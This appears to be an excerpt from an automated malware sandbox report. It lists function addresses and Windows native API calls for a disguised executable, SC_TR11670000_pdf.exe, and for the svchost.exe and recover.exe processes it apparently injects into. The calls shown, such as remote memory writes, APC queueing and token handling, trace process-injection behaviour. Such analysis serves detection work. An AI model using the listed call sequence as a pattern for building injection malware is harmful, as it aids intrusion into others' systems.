Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942FB0 NtResumeThread,LdrInitializeThunk,	3_2_03942FB0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942FE0 NtCreateFile,LdrInitializeThunk,	3_2_03942FE0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942F30 NtCreateSection,LdrInitializeThunk,	3_2_03942F30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942E80 NtReadVirtualMemory,LdrInitializeThunk,	3_2_03942E80
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942EE0 NtQueueApcThread,LdrInitializeThunk,	3_2_03942EE0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942DD0 NtDelayExecution,LdrInitializeThunk,	3_2_03942DD0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942DF0 NtQuerySystemInformation,LdrInitializeThunk,	3_2_03942DF0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942D10 NtMapViewOfSection,LdrInitializeThunk,	3_2_03942D10
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942D30 NtUnmapViewOfSection,LdrInitializeThunk,	3_2_03942D30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942CA0 NtQueryInformationToken,LdrInitializeThunk,	3_2_03942CA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942C70 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_03942C70
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942C60 NtCreateKey,LdrInitializeThunk,	3_2_03942C60
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039435C0 NtCreateMutant,LdrInitializeThunk,	3_2_039435C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039439B0 NtGetContextThread,LdrInitializeThunk,	3_2_039439B0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942B80 NtQueryInformationFile,	3_2_03942B80
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942AB0 NtWaitForSingleObject,	3_2_03942AB0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942F90 NtProtectVirtualMemory,	3_2_03942F90
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942FA0 NtQuerySection,	3_2_03942FA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942F60 NtCreateProcessEx,	3_2_03942F60
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942EA0 NtAdjustPrivilegesToken,	3_2_03942EA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942E30 NtWriteVirtualMemory,	3_2_03942E30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942DB0 NtEnumerateKey,	3_2_03942DB0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942D00 NtSetInformationFile,	3_2_03942D00
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942CC0 NtQueryVirtualMemory,	3_2_03942CC0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942CF0 NtOpenProcess,	3_2_03942CF0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03942C00 NtQueryInformationProcess,	3_2_03942C00
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03943090 NtSetValueKey,	3_2_03943090
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03943010 NtOpenDirectoryObject,	3_2_03943010
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03943D10 NtOpenProcessToken,	3_2_03943D10
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03943D70 NtOpenThread,	3_2_03943D70
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F99240 NtReadFile,	3_2_02F99240
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F993D0 NtClose,	3_2_02F993D0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F99330 NtDeleteFile,	3_2_02F99330
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F990D0 NtCreateFile,	3_2_02F990D0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_02F99540 NtAllocateVirtualMemory,	3_2_02F99540
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_037DF975 NtClose,	3_2_037DF975

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B440B1: CreateFileW,_memset,DeviceIoControl,CloseHandle,

0_2_00B440B1

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B38858 _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcscpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,

0_2_00B38858

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe

Code function: 0_2_00B4545F ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,

0_2_00B4545F

Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AEE800	0_2_00AEE800
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0DBB5	0_2_00B0DBB5
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AEE060	0_2_00AEE060
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B6804A	0_2_00B6804A
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF4140	0_2_00AF4140
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B02405	0_2_00B02405
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B16522	0_2_00B16522
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B1267E	0_2_00B1267E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B60665	0_2_00B60665
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0283A	0_2_00B0283A
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF6843	0_2_00AF6843
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B189DF	0_2_00B189DF
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B16A94	0_2_00B16A94
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B60AE2	0_2_00B60AE2
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF8A0E	0_2_00AF8A0E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B48B13	0_2_00B48B13
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B3EB07	0_2_00B3EB07
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0CD61	0_2_00B0CD61
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B17006	0_2_00B17006
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF3190	0_2_00AF3190
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF710E	0_2_00AF710E
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AE1287	0_2_00AE1287
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B033C7	0_2_00B033C7
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0F419	0_2_00B0F419
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF5680	0_2_00AF5680
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B016C4	0_2_00B016C4
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B078D3	0_2_00B078D3
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AF58C0	0_2_00AF58C0
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B01BB8	0_2_00B01BB8
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B19D05	0_2_00B19D05
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00AEFE40	0_2_00AEFE40
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B0BFE6	0_2_00B0BFE6
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_00B01FD0	0_2_00B01FD0
Source: C:\Users\user\Desktop\SC_TR11670000_pdf.exe	Code function: 0_2_01C535D0	0_2_01C535D0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004188A3	1_2_004188A3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402840	1_2_00402840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403059	1_2_00403059
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402831	1_2_00402831
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402838	1_2_00402838
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0041016A	1_2_0041016A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410173	1_2_00410173
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416ADE	1_2_00416ADE
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00416AE3	1_2_00416AE3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00403295	1_2_00403295
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_004032A0	1_2_004032A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402384	1_2_00402384
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402390	1_2_00402390
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00410393	1_2_00410393
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0040E413	1_2_0040E413
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402419	1_2_00402419
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402D95	1_2_00402D95
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_00402DA0	1_2_00402DA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0042EFA3	1_2_0042EFA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FA352	1_2_036FA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364E3F0	1_2_0364E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037003E6	1_2_037003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0274	1_2_036E0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C02C0	1_2_036C02C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036C8158	1_2_036C8158
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630100	1_2_03630100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DA118	1_2_036DA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F81CC	1_2_036F81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F41A2	1_2_036F41A2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037001AA	1_2_037001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D2000	1_2_036D2000
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640770	1_2_03640770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03664750	1_2_03664750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363C7C0	1_2_0363C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365C6E0	1_2_0365C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640535	1_2_03640535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03700591	1_2_03700591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F2446	1_2_036F2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E4420	1_2_036E4420
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EE4F6	1_2_036EE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FAB40	1_2_036FAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F6BD7	1_2_036F6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363EA80	1_2_0363EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03656962	1_2_03656962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036429A0	1_2_036429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370A9A6	1_2_0370A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364A840	1_2_0364A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03642840	1_2_03642840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0366E8F0	1_2_0366E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036268B8	1_2_036268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B4F40	1_2_036B4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03682F28	1_2_03682F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03660F30	1_2_03660F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E2F30	1_2_036E2F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03632FC8	1_2_03632FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036BEFA0	1_2_036BEFA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640E59	1_2_03640E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FEE26	1_2_036FEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FEEDB	1_2_036FEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03652E90	1_2_03652E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FCE93	1_2_036FCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364AD00	1_2_0364AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DCD1F	1_2_036DCD1F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0363ADE0	1_2_0363ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03658DBF	1_2_03658DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03640C00	1_2_03640C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03630CF2	1_2_03630CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E0CB5	1_2_036E0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362D34C	1_2_0362D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F132D	1_2_036F132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0368739A	1_2_0368739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E12ED	1_2_036E12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365D2F0	1_2_0365D2F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365B2C0	1_2_0365B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036452A0	1_2_036452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0367516C	1_2_0367516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0362F172	1_2_0362F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0370B16B	1_2_0370B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0364B1B0	1_2_0364B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F70E9	1_2_036F70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FF0E0	1_2_036FF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EF0CC	1_2_036EF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036470C0	1_2_036470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FF7B0	1_2_036FF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03685630	1_2_03685630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F16CC	1_2_036F16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F7571	1_2_036F7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_037095C3	1_2_037095C3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DD5B0	1_2_036DD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03631460	1_2_03631460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FF43F	1_2_036FF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FFB76	1_2_036FFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B5BF0	1_2_036B5BF0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0367DBF9	1_2_0367DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365FB80	1_2_0365FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B3A6C	1_2_036B3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FFA49	1_2_036FFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F7A46	1_2_036F7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036EDAC6	1_2_036EDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036DDAAC	1_2_036DDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03685AA0	1_2_03685AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036E1AA3	1_2_036E1AA3
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03649950	1_2_03649950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365B950	1_2_0365B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036D5910	1_2_036D5910
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036AD800	1_2_036AD800
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036438E0	1_2_036438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FFF09	1_2_036FFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03603FD2	1_2_03603FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03603FD5	1_2_03603FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FFFB1	1_2_036FFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03641F92	1_2_03641F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03649EB0	1_2_03649EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F7D73	1_2_036F7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_03643D40	1_2_03643D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036F1D5A	1_2_036F1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_0365FDC0	1_2_0365FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036B9C32	1_2_036B9C32
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 1_2_036FFCF2	1_2_036FFCF2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0391E3F0	3_2_0391E3F0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039D03E6	3_2_039D03E6
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CA352	3_2_039CA352
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039902C0	3_2_039902C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B0274	3_2_039B0274
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039D01AA	3_2_039D01AA
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C41A2	3_2_039C41A2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C81CC	3_2_039C81CC
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039AA118	3_2_039AA118
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03900100	3_2_03900100
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03998158	3_2_03998158
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039A2000	3_2_039A2000
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0390C7C0	3_2_0390C7C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03934750	3_2_03934750
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03910770	3_2_03910770
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392C6E0	3_2_0392C6E0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039D0591	3_2_039D0591
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03910535	3_2_03910535
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039BE4F6	3_2_039BE4F6
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B4420	3_2_039B4420
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C2446	3_2_039C2446
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C6BD7	3_2_039C6BD7
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CAB40	3_2_039CAB40
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0390EA80	3_2_0390EA80
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039129A0	3_2_039129A0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039DA9A6	3_2_039DA9A6
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03926962	3_2_03926962
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038F68B8	3_2_038F68B8
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0393E8F0	3_2_0393E8F0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0391A840	3_2_0391A840
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03912840	3_2_03912840
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0398EFA0	3_2_0398EFA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03902FC8	3_2_03902FC8
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03930F30	3_2_03930F30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B2F30	3_2_039B2F30
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03952F28	3_2_03952F28
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03984F40	3_2_03984F40
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03922E90	3_2_03922E90
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CCE93	3_2_039CCE93
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CEEDB	3_2_039CEEDB
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CEE26	3_2_039CEE26
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03910E59	3_2_03910E59
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03928DBF	3_2_03928DBF
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0390ADE0	3_2_0390ADE0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039ACD1F	3_2_039ACD1F
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0391AD00	3_2_0391AD00
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B0CB5	3_2_039B0CB5
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03900CF2	3_2_03900CF2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03910C00	3_2_03910C00
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0395739A	3_2_0395739A
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C132D	3_2_039C132D
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038FD34C	3_2_038FD34C
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039152A0	3_2_039152A0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392B2C0	3_2_0392B2C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392D2F0	3_2_0392D2F0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B12ED	3_2_039B12ED
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0391B1B0	3_2_0391B1B0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039DB16B	3_2_039DB16B
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0394516C	3_2_0394516C
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038FF172	3_2_038FF172
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039170C0	3_2_039170C0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039BF0CC	3_2_039BF0CC
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C70E9	3_2_039C70E9
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CF0E0	3_2_039CF0E0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CF7B0	3_2_039CF7B0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C16CC	3_2_039C16CC
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03955630	3_2_03955630
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039AD5B0	3_2_039AD5B0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039D95C3	3_2_039D95C3
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C7571	3_2_039C7571
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CF43F	3_2_039CF43F
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03901460	3_2_03901460
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392FB80	3_2_0392FB80
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03985BF0	3_2_03985BF0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0394DBF9	3_2_0394DBF9
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CFB76	3_2_039CFB76
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03955AA0	3_2_03955AA0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039ADAAC	3_2_039ADAAC
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039B1AA3	3_2_039B1AA3
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039BDAC6	3_2_039BDAC6
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CFA49	3_2_039CFA49
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C7A46	3_2_039C7A46
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03983A6C	3_2_03983A6C
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039A5910	3_2_039A5910
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03919950	3_2_03919950
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392B950	3_2_0392B950
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039138E0	3_2_039138E0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0397D800	3_2_0397D800
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03911F92	3_2_03911F92
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CFFB1	3_2_039CFFB1
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038D3FD5	3_2_038D3FD5
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_038D3FD2	3_2_038D3FD2
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039CFF09	3_2_039CFF09
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03919EB0	3_2_03919EB0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_0392FDC0	3_2_0392FDC0
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C1D5A	3_2_039C1D5A
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_03913D40	3_2_03913D40
Source: C:\Windows\SysWOW64\recover.exe	Code function: 3_2_039C7D73	3_2_039C7D73
